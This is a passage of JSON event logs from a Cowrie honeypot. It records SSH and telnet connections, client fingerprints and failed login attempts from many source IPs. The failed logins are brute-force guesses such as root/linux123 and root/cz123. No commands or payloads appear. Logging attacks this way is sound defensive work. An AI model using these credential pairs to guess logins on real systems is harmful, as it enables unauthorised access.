","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:11.856368Z","src_ip":"43.135.166.146","session":"d3434fa3ecd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:12.164625Z","src_ip":"43.135.166.146","session":"d3434fa3ecd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:13.241041Z","src_ip":"43.135.166.146","session":"d3434fa3ecd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.14.186","src_port":50152,"dst_ip":"159.203.135.109","dst_port":22,"session":"50570608359a","protocol":"ssh","message":"New connection: 106.13.14.186:50152 (159.203.135.109:22) [session: 50570608359a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:37.030964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:37.040452Z","src_ip":"106.13.14.186","session":"50570608359a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:37.272900Z","src_ip":"106.13.14.186","session":"50570608359a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wasser","message":"login attempt [root/wasser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:38.204204Z","src_ip":"106.13.14.186","session":"50570608359a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:39.450269Z","src_ip":"106.13.14.186","session":"50570608359a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":60753,"dst_ip":"159.203.135.109","dst_port":22,"session":"eda493182dcc","protocol":"ssh","message":"New connection: 41.181.156.205:60753 (159.203.135.109:22) [session: eda493182dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:48.410095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:48.413729Z","src_ip":"41.181.156.205","session":"eda493182dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:48.685743Z","src_ip":"41.181.156.205","session":"eda493182dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:49.701001Z","src_ip":"41.181.156.205","session":"eda493182dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:50.950352Z","src_ip":"41.181.156.205","session":"eda493182dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":94.64185380935669,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:04.052614Z","src_ip":"167.71.238.254","session":"838149b798a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":50960,"dst_ip":"159.203.135.109","dst_port":22,"session":"a128c74c02ba","protocol":"ssh","message":"New connection: 163.245.222.56:50960 (159.203.135.109:22) [session: a128c74c02ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:05.497328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:05.502157Z","src_ip":"163.245.222.56","session":"a128c74c02ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:05.507994Z","src_ip":"163.245.222.56","session":"a128c74c02ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:05.580585Z","src_ip":"163.245.222.56","session":"a128c74c02ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:06.589922Z","src_ip":"163.245.222.56","session":"a128c74c02ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52078,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3f6224a1aa","protocol":"ssh","message":"New connection: 194.59.206.2:52078 (10.17.0.5:22) [session: 3d3f6224a1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:23.775235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:23.779951Z","src_ip":"194.59.206.2","session":"3d3f6224a1aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:23.862029Z","src_ip":"194.59.206.2","session":"3d3f6224a1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:24.028991Z","src_ip":"194.59.206.2","session":"3d3f6224a1aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":19247,"dst_ip":"159.203.135.109","dst_port":22,"session":"86da705d6a89","protocol":"ssh","message":"New connection: 205.254.166.156:19247 (159.203.135.109:22) [session: 86da705d6a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:28.135331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:28.140466Z","src_ip":"205.254.166.156","session":"86da705d6a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:28.368510Z","src_ip":"205.254.166.156","session":"86da705d6a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:29.247753Z","src_ip":"205.254.166.156","session":"86da705d6a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:30.463998Z","src_ip":"205.254.166.156","session":"86da705d6a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":59596,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf447fd4607f","protocol":"ssh","message":"New connection: 43.135.166.146:59596 (10.17.0.5:22) [session: cf447fd4607f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:40.162125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:40.167496Z","src_ip":"43.135.166.146","session":"cf447fd4607f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:40.240663Z","src_ip":"43.135.166.146","session":"cf447fd4607f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cz123","message":"login attempt [root/cz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:40.549234Z","src_ip":"43.135.166.146","session":"cf447fd4607f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:41.620996Z","src_ip":"43.135.166.146","session":"cf447fd4607f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.215.121","src_port":25223,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1c65ba27163","protocol":"telnet","message":"New connection: 181.115.215.121:25223 (10.17.0.5:23) [session: c1c65ba27163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:47.010132Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.172","src_port":34802,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb067ccc364d","protocol":"telnet","message":"New connection: 66.132.186.172:34802 (159.203.135.109:23) [session: eb067ccc364d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:13:54.899591Z"}
{"eventid":"cowrie.session.closed","duration":13.392650604248047,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:00.402677Z","src_ip":"181.115.215.121","session":"c1c65ba27163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.146445751190186,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:13.045879Z","src_ip":"66.132.186.172","session":"eb067ccc364d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":45071,"dst_ip":"159.203.135.109","dst_port":22,"session":"80513958896d","protocol":"ssh","message":"New connection: 41.181.156.205:45071 (159.203.135.109:22) [session: 80513958896d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:15.363990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:15.368938Z","src_ip":"41.181.156.205","session":"80513958896d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:15.612466Z","src_ip":"41.181.156.205","session":"80513958896d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cathy1234","message":"login attempt [root/cathy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:16.614596Z","src_ip":"41.181.156.205","session":"80513958896d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:17.864055Z","src_ip":"41.181.156.205","session":"80513958896d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.172","src_port":43324,"dst_ip":"159.203.135.109","dst_port":23,"session":"61db4c4c6f72","protocol":"telnet","message":"New connection: 66.132.186.172:43324 (159.203.135.109:23) [session: 61db4c4c6f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:17.974205Z"}
{"eventid":"cowrie.session.closed","duration":3.273966073989868,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:21.248050Z","src_ip":"66.132.186.172","session":"61db4c4c6f72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":42904,"dst_ip":"10.17.0.5","dst_port":23,"session":"f14cc3436bfd","protocol":"telnet","message":"New connection: 167.71.238.254:42904 (10.17.0.5:23) [session: f14cc3436bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:21.872662Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.172","src_port":36410,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd5a7dadbe0","protocol":"telnet","message":"New connection: 66.132.186.172:36410 (159.203.135.109:23) [session: 5dd5a7dadbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:26.885196Z"}
{"eventid":"cowrie.session.closed","duration":13.46514344215393,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:35.337701Z","src_ip":"167.71.238.254","session":"f14cc3436bfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.67920994758606,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:37.564296Z","src_ip":"66.132.186.172","session":"5dd5a7dadbe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.14.186","src_port":55554,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b8b97d9cbfa","protocol":"ssh","message":"New connection: 106.13.14.186:55554 (159.203.135.109:22) [session: 3b8b97d9cbfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:14:57.272633Z"}
